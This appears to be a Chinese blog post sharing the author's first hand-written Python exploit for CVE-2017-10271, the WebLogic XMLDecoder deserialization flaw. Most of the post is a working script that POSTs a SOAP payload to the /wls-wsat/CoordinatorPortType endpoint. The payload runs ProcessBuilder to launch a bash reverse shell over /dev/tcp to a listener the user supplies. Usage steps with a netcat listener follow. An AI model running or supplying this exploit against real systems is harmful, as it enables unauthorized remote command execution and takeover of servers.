weblogic-xml反序列化脚本

• CVE-2017-10271
• 自己手写的第一个脚本，发送的请求和回复包都是有框架的，注意书写格式，注意大小写，脚本好写，不好改

1 脚本

## xml decoder
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author xiaobai

import requests
import sys
import json

def title():
	print('xiaobai zhizuo')

def POC_1(target_url, IP, PORT):
	vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
	headers = {
		"Content-Type": "text/xml",
		"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
	}
	data = """
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		<java version="1.4.0" class="java.beans.XMLDecoder">
		<void class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="3">
		<void index="0">
		<string>/bin/bash</string>
		</void>
		<void index="1">
		<string>-c</string>
		</void>
		<void index="2">
		<string>bash -i &gt;&amp; /dev/tcp/%s/%s 0&gt;&amp;1</string>
		</void>
		</array>
		<void method="start"/></void>
		</java>
		</work:WorkContext>
		</soapenv:Header>
		<soapenv:Body/>
		</soapenv:Envelope>
	""" % (IP,PORT)
	try:
		response = requests.request("POST", url=vuln_url, headers=headers, data=data)
	except:
		print("漏洞利用失败哦")

if __name__ == '__main__':
	title()
	target_url = str(input("please inout Attack url----"))
	IP = str(input("请输入监听ip---"))
	PORT = str(input("请输入监听端口---"))
	POC_1(target_url, IP, PORT)
	

2 执行

python3 payload.py
nc -lvnp

参考链接

• https://mp.weixin.qq.com/s/LtvKiz8gO-tjjkqHspcvfA
  requests库的使用